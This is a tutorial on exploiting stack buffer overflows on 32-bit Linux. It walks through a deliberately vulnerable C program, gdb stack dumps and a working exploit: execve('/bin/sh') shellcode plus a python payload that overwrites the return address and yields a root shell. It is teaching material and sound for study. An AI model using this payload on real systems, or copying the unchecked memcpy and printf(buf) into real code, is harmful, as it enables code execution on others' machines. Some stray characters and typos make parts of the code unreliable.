Stack based buffer overflow Exploitation-Tutorial

By Saif El-Sherei

www.elsherei.com

Thanks to:

Haroon meer http://thinkst.com

Sherif El Deeb http://www.eldeeb.net

Corelancoder http://www.corelan.be

Dominic Wang

Contents

Stack Based Buffer Overflows

Introduction:

I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend once said " you think you understand something until you try to teach it ". This is my first try at writing papers. This paper is my understanding of the subject. I understand it might not be complete I am open for suggestions and modifications. I hope as this project helps others as it helped me. This paper is purely for education purposes.

Note: the Exploitation method explained below tutorial will not work on modern system due to NX, ASLR, and modern kernel security mechanisms. If we continue this series we will have a tutorial on bypassing some of these controls

What is the Stack?

A stack is contiguous block of memory which is used by functions, two instructions are used to put or remove data from stack, "PUSH" puts data on stack, & "POP" removes data from stack. The stack works on Last in First out "LIFO" basis. And grows downwards towards lower memory addresses on Intel based systems.

In intel_x86 architecture the maximum data size would be a WORD. 4 bytes "32 bits" long for each push or pop.

The ESP stack pointer points to the top of stack. The stack is heavily used by functions. To hold function arguments and dynamically allocate space for local variables.

The stack consists of frames which are pushed when a function is called and poped when a function is finished. Functions can access local variables by offsets of ESP; but since WORDS are pushed and poped of the stack it is recommended to use something called a frame pointer "FP".

What does a frame pointer do?

It saves the current address of the stack to the EBP register. So that function can reference their local variables by using offsets of EBP. Without worrying about the stack getting clobbered.

Stack usage:

When a function is called; the function arguments are pushed backwards on the stack, the EIP the instruction pointer is pushed afterwards this is called the return address of the function. The return address when a "call" instruction is called it pushes its address on stack. To return to it when the function is done.

Then when inside the function usually a frame pointer is used:

So the first three instructions would be similar to:

Push %ebp ; save the value of old EBP.

Mov %esp,%esp; saves the current address of esp to ebp, ebp will act as the frame pointer.

Sub $20,%esp ; subtract space from stack for local variables.

So after the return address will come the saved stack frame pointer address

Then our functions local variables.

Stack Based Buffer Overflows:

Stack based buffer overflows are one of the most common vulnerabilities. Found today. It affects any function that copies input to memory without doing bounds checking. For example:

Strcpy(),memcpy(),gets(),etc…..

What is a buffer overflow? A buffer overflow occurs when a function copies data into a buffer without doing bounds checking. So if the source data size is larger than the destination buffer size this data will overflow the buffer towards higher memory address and probably overwrite previous data on stack.

Let's do an Example of this.

```
#include <stdio.h>00:02:76:4D:6C:D2


int main(int argc, char *argv[])

{


        char buf[256];

        memcpy(buf, argv[1],strlen(argv[1]));

        printf(buf);

}
```

Let's look at the program's disassembly:

```
(gdb) disas main

Dump of assembler code for function main:
```

```
0x0804847c <+0>:    push   %ebp
0x0804847d <+1>:    mov    %esp,%ebp
0x0804847f <+3>:    and    $0xfffffff0,%esp
0x08048482 <+6>:    sub    $0x110,%esp
0x08048488 <+12>:   mov    0xc(%ebp),%eax
0x0804848b <+15>:   add    $0x4,%eax
0x0804848e <+18>:   mov    (%eax),%eax
0x08048490 <+20>:   mov    %eax,(%esp)
0x08048493 <+23>:   call   0x8048370 <strlen@plt>
0x08048498 <+28>:   mov    0xc(%ebp),%edx
0x0804849b <+31>:   add    $0x4,%edx
0x0804849e <+34>:   mov    (%edx),%edx
0x080484a0 <+36>:   mov    %eax,0x8(%esp)
0x080484a4 <+40>:   mov    %edx,0x4(%esp)
0x080484a8 <+44>:   lea    0x10(%esp),%eax
0x080484ac <+48>:   mov    %eax,(%esp)
0x080484af <+51>:   call   0x8048350 <memcpy@plt>
0x080484b4 <+56>:   lea    0x10(%esp),%eax
0x080484b8 <+60>:   mov    %eax,(%esp)
0x080484bb <+63>:   call   0x8048340 <printf@plt>
0x080484c0 <+68>:   leave
0x080484c1 <+69>:   ret
```

See the first bolded instructions is the main() function saving the old frame pointer and making EBP the new stack frame pointer.

Let’s run the program and see what will happen if the data sent is larger than the size of buffer.

Data smaller than the buffer size:

```
./so $(python -c 'print "A"*256')
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Data is larger than size of buffer:

```
root@kali:~/Desktop/tuts/so# ./so $(python -c 'print "A"*270')
Segmentation fault
root@kali:~/Desktop/tuts/so#
```

What segmentation fault!!!! What does this mean?

Let's run it under a debugger so we can understand what's happening

```
root@kali:~/Desktop/tuts/so# gdb -q so
Reading symbols from /root/Desktop/tuts/so/so...(no debugging symbols found)...done.
```

Put break points at function call memcpy() and at ret instruction:

```
(gdb) break *main+51
Breakpoint 1 at 0x80484af
(gdb) break *main+68
Breakpoint 2 at 0x80484c0
(gdb)
```

run the program and look at the registers at first break point:

```
(gdb) r $(python -c 'print "A"*272')
Starting program: /root/Desktop/tuts/so/so $(python -c 'print "A"*70')

Breakpoint 1, 0x080484af in main ()
(gdb) i r
eax            0xbffff390       -1073745008
ecx            0x40000984       1073744260
edx            0xbffff6b4       -1073744204
ebx            0xb7fc1ff4       -1208213516
```

```
esp            0xbffff380       0xbffff380
ebp            0xbffff498       0xbffff498
esi            0x0      0
edi            0x0      0
eip            0x80484af        0x80484af <main+51>
eflags         0x286            [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
```

Let's continue to our 2nd break point at ret instruction:

```
(gdb) c
Continuing.


Breakpoint 2, 0x080484c0 in main ()
```

We step through the ret instruction:

```
(gdb) s
Single stepping until exit from function main,
which has no line number information.
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x2: Input/output error.


0x41414141 in ?? ()
```

We overwrote the return address of the main() function. With our buffer 0x41414141 is AAAA. Have a look a t the registers we will find that we got segmentation fault because EIP the instruction pointer is pointing to an invalid address. 0x41414141. when it was supposed to point to the address of the return function.

```
(gdb) i r
eax        0x111        273
ecx        0xbffff2a8   -1073745240
edx        0xb7fc3360   00:02:76:4D:6C:D2-1208208544
ebx        0xb7fc1ff4   -1208213516
esp        0xbffff3e0   0xbffff3e0
ebp        0x41414141   0x41414141
esi        0x0    0
edi        0x0    0
eip        0x41414141   0x41414141
eflags     0x296        [ PF AF SF IF ]
cs         0x73   115
ss         0x7b   123
ds         0x7b   123
es         0x7b   123
fs         0x0    0
gs         0x33   51
(gdb)
```

Stack Based Buffer Overflows Exploitation:

So how can this vulnerability be exploited?

Exploitation of Stack based buffer overflows in general is to overwrite the return address of the function with the address of our shell code

Before overflow:

Top of stack lower memory

[BUf]
Saved frame pointer
Return address
Argument 1
Argument 2

Bottom of Stack Higher memory

After overflow:

[NOPS+Shellcode]
[Shellcode]
[Address of shellcode]
Argument 1
Argument 2

Top of stack lower memory

When the function returns EIP will point to the address of our shellcode and jump to it.

Bottom of Stack Higher memory

So in the vulnerable application:

First we will pinpoint exactly where the return address is overwritten below is the manual approach in larger applications this can be a hassle and another approach is taken

```
(gdb) r $(python -c 'print "A"*264+"B"*4+"C"*4')



The program being debugged has been started already.
```

```
Start it from the beginning? (y or n)

Please answer y or n.

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/saif/so $(python -c 'print "A"*264+"B"*4+"C"*4')



Breakpoint 1, 0x08048469 in main ()

(gdb) x/100x $esp

0xbffffab0:     0xbffffac0      0xbffffd87      0x00000110      0xbffffb3c

0xbffffac0:     0xb7fec301      0xb7e92680      0x00000000      0x00000033

0xbffffad0:     0x000000ca      0x00000006      0xbffffb18      0xb7f0e8fd

0xbffffae0:     0xb7e96dc8      0xb7ffbb58      0xbffffb08      0x00000008

0xbffffaf0:     0x0000000e      0xb7e9f6f8      0xb7fe2b1c      0xf63d4e2e

0xbffffb00:     0xb7f0e830      0x00000003      0x00000000      0x00000000
```

0xbffffb10:	0x00000001	0x00000893	0xb7fe2b48	0xb7fe2858
0xbffffb20:	0x0804826a	0xb7e9ff28	0x080481dc	0x00000001
0xbffffb30:	0xb7ffeff4	0xbffffc20	0xb7fffab0	0xbffffbf4
0xbffffb40:	0xb7fec4f2	0xbffffbe4	0x080481dc	0xbffffbd8
0xbffffb50:	0xb7fffa54	0x00000000	0xb7fe2b48	0x00000001
0xbffffb60:	0x00000000	0x00000001	0xb7fff8f8	0xb7fd5ff4
0xbffffb70:	0xb7f967a9	0xb7ec23c5	0xbffffb88	0xb7ea9aa5
0xbffffb80:	0xb7fd5ff4	0x0804962c	0xbffffb98	0x08048310
0xbffffb90:	0xb7ff1380	0x0804962c	0xbffffbc8	0x080484a9
0xbffffba0:	0xb7fd6304	0xb7fd5ff4	0x08048490	0xbffffbc8
0xbffffbb0:	0xb7ec25c5	0xb7ff1380	0x0804849b	0xb7fd5ff4
0xbffffbc0:	0x08048490	0x00000000	**0xbffffc48**	**0xb7ea9ca6**
0xbffffbd0:	0x00000002	0xbffffc74	0xbffffc80	0xb7fe2858
0xbffffbe0:	0xbffffc30	0xffffffff	0xb7ffeff4	0x0804826a
0xbffffbf0:	0x00000001	0xbffffc30	0xb7ff0966	0xb7fffab0

```
0xbffffc00:    0xb7fe2b48    0xb7fd5ff4    0x00000000    0x00000000

0xbffffc10:    0xbffffc48    0x9da5041a    0xb76a720a    0x00000000

0xbffffc20:    0x00000000    0x00000000    0x00000002    0x08048380

0xbffffc30:    0x00000000    0xb7ff6600    0xb7ea9bcb    0xb7ffeff4

(gdb) s

Single stepping until exit from function main,

which has no line number information.



Breakpoint 2, 0x08048475 in main ()

(gdb) x/100x $esp

0xbffffab0:    0xbffffac0    0xbffffd87    0x00000110    0xbffffb3c

0xbffffac0:    0x41414141    0x41414141    0x41414141    0x41414141

0xbffffad0:    0x41414141    0x41414141    0x41414141    0x41414141

0xbffffae0:    0x41414141    0x41414141    0x41414141    0x41414141
```

0xbffffaf0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb00:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb40:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb50:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb60:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb70:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb80:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb90:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffba0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbb0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbc0:	0x41414141	0x41414141	**0x42424242**	**0x43434343**
0xbffffbd0:	0x00000002	0xbffffc74	0xbffffc80	0xb7fe2858

```
0xbffffbe0:	0xbffffc30	0xffffffff	0xb7ffeff4	0x0804826a
0xbffffbf0:	0x00000001	0xbffffc30	0xb7ff0966	0xb7fffab0
0xbffffc00:	0xb7fe2b48	0xb7fd5ff4	0x00000000	0x00000000
0xbffffc10:	0xbffffc48	0x9da5041a	0xb76a720a	0x00000000
0xbffffc20:	0x00000000	0x00000000	0x00000002	0x08048380
0xbffffc30:	0x00000000	0xb7ff6600	0xb7ea9bcb	0xb7ffeff4
(gdb) s
Single stepping until exit from function main,
which has no line number information.
Cannot access memory at address 0x42424246
(gdb) c
Continuing.


Program received signal SIGSEGV, Segmentation fault.
```

```
0x43434343 in ?? ()

(gdb)
```

Set break points at the memcpy() function, & at the printf() function and run the program with 264 “A”, 4 “B”, & 4”C”.

The buffer is supposed to be 256 but some gcc implementations save memory buffer of 264 even if in the source code its 256.

In the first stack dump before the memcpy() function we see the saved frame pointer bolded in blue, and the saved return address bolded in red.

after stepping over the memcpy() function, what happens is the buffer was overwritten with 264 “A”, the saved frame pointer EBP was overwritten with 4 “B” bolded in blue, & the return address is overwritten with 4 “C” bolded in red in the second stack dump.

Theoretically if the 4 “C” was replaced with the address of the shellcode the program should execute our shellcode let’s give it a try

We have an execve(/bin/sh) shellcode. Writing Shellcode will be explained in another tutorial

Our shellcode:

“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42”

The shellcode is inserted in our buffer. The size of shellcode “49 bytes” is subtracted from the buffer “A” size. step over the mempy() function and display esp to find the beginning of the buffer:

So first find the beginning of our buffer in memory. We run the application with “A”*272 to trigger the overflow. Insert break point at memcpy() function. When the break point is reached we view our stack.

```
(gdb) b *main+60

Breakpoint 1 at 0x8048430

(gdb) r $(python -c 'print "A"*272')
The program being debugged has been started already.

Start it from the beginning? (y or n) y
```

```
Starting program: /root/tuts/sbof/s $(python -c 'print "A"*272')

Breakpoint 1, 0x08048430 in main ()

(gdb) x/100x $esp

0xbffffae0:     0xbffffaf0      0xbffffd47      0x00000110      0x00003530

0xbffffaf0:     0x00000000      0x08048220      0x00000020      0x00000000

0xbffffb00:     0x00000000      0x00000000      0x4002c4d8      0x400270bc

0xbffffb10:     0x4001e46c      0x40017828      0x00000003      0x40017ac0

0xbffffb20:     0x40017af0      0x40016ca0      0x40017074      0x08048247

0xbffffb30:     0xbffffbc8      0x400084bf      0x08048247      0x0177ff8e

0xbffffb40:     0x0804819c      0xbffffb84      0x40017028      0x00000001

0xbffffb50:     0x40017af0      0x00000000      0x00000001      0xbffffb84

0xbffffb60:     0x00000000      0x4014a920      0x0000037e      0x00000000

0xbffffb70:     0x0177ff8e      0xbffffc00      0x40016ed8      0xbffffc54

0xbffffb80:     0xbffffbb4      0x4002630c      0x40017828      0x0000002f

0xbffffb90:     0x40090f50      0xbffffd35      0x4008970e      0x4014a8c0

0xbffffba0:     0x4014a8b0      0xbffffbb4      0x40030c85      0x4014a8c0

0xbffffbb0:     0xbffffc60      0xbffffbd4      0x40030d3f      0x40016ca0
```

```
0xbffffbc0:    0x08048450    0x08049650    0xbffffbd8    0x080482d9

0xbffffbd0:    0x40017074    0x40017af0    0xbffffbf8    0x0804846b

0xbffffbe0:    0x4014a8c0    0x080484b0    0xbffffc54    0x4014a8c0

0xbffffbf0:    0x40016540    0xbffffc54    0xbffffc28    0x40030e36

0xbffffc00:    0x00000002    0xbffffc54    0xbffffc60    0x08048330

0xbffffc10:    0x00000000    0x4000bcd0    0x4014bdb4    0x40016ca0

0xbffffc20:    0x00000002    0x08048330    0x00000000    0x08048351

0xbffffc30:    0x080483f4    0x00000002    0xbffffc54    0x08048450

0xbffffc40:    0x080484b0    0x4000c380    0xbffffc4c    0x00000000

0xbffffc50:    0x00000002    0xbffffd35    0xbffffd47    0x00000000

0xbffffc60:    0xbffffe58    0xbffffe68    0xbffffe73    0xbffffe90
```

We step over the memcpy() function and view the stack.

```
(gdb) s

Single stepping until exit from function main,

which has no line number information.



0xbffffebf in ?? ()

(gdb) x/100x $esp
```

0xbffffc00:	0x00000002	0xbffffc54	0xbffffc60	0x08048330
0xbffffc10:	0x00000000	0x4000bcd0	0x4014bdb4	0x40016ca0
0xbffffc20:	0x00000002	0x08048330	0x00000000	0x08048351
0xbffffc30:	0x080483f4	0x00000002	0xbffffc54	0x08048450
0xbffffc40:	0x080484b0	0x4000c380	0xbffffc4c	0x00000000
0xbffffc50:	0x00000002	0xbffffd35	0xbffffd47	0x00000000
0xbffffc60:	0xbffffe58	0xbffffe68	0xbffffe73	0xbffffe90
0xbffffc70:	0xbffffea3	0xbffffeda	0xbffffee4	0xbffffef0
0xbffffc80:	0xbfffff3f	0xbfffff53	0xbfffff5f	0xbfffff73
0xbffffc90:	0xbfffff7e	0xbfffff87	0xbfffff92	0xbfffff9a
0xbffffca0:	0xbfffffb2	0xbfffffbf	0x00000000	0x00000010
0xbffffcb0:	0x078bfbfd	0x00000006	0x00001000	0x00000011
0xbffffcc0:	0x00000064	0x00000003	0x08048034	0x00000004
0xbffffcd0:	0x00000020	0x00000005	0x00000007	0x00000007
0xbffffce0:	0x40000000	0x00000008	0x00000000	0x00000009
0xbffffcf0:	0x08048330	0x0000000b	0x00000000	0x0000000c
0xbffffd00:	0x00000000	0x0000000d	0x00000000	0x0000000e

0xbffffd10:	0x00000000	0x0000000f	0xbffffd30	0x00000000
0xbffffd20:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffd30:	0x36383669	0x6f722f00	0x742f746f	0x2f737475
0xbffffd40:	0x666f6273	0x4100732f	0x41414141	0x41414141
0xbffffd50:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd60:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd70:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd80:	0x41414141	0x41414141	0x41414141	0x41414141

Now let's try to run the program with return address overwritten with our shell address

The addresses bolded above in red are the beginning of our buffer on stack so if the buffer was filled with NOPS and then our shell code. We should shell.

To trigger the overflow we need to send a buffer of 272 bytes

So the buffer will be

NOPS*219+SHELLCODE+0xbfffd50

The 219 NOPS is the "size of buffer – size of shellcode (268-49) "

```
(gdb) r $(python -c 'print
"A"*219+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8
d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x
41\x42\x42\x42\x42"+"\x50\xfd\xff\xbf"')

Starting program: /root/tuts/sbof/s $(python -c 'print
"A"*219+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8
d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x
```

```
41\x42\x42\x42\x42"+"\x50\xfd\xff\xbf"')



Breakpoint 1, 0x08048430 in main ()

(gdb) c

Continuing.



Program received signal SIGTRAP, Trace/breakpoint trap.

0x40000c20 in ?? () from /lib/ld-linux.so.2

(gdb) c

Continuing.

sh-2.05b#
```

So we changed the return address to the address of our shellcode on stack and when the overflow was triggered and EIP pointed to our shellcode we continued execution and we got our shell.

References:

- Smash the stack for fun and profit by aleph1 http://insecure.org/stf/smashstack.html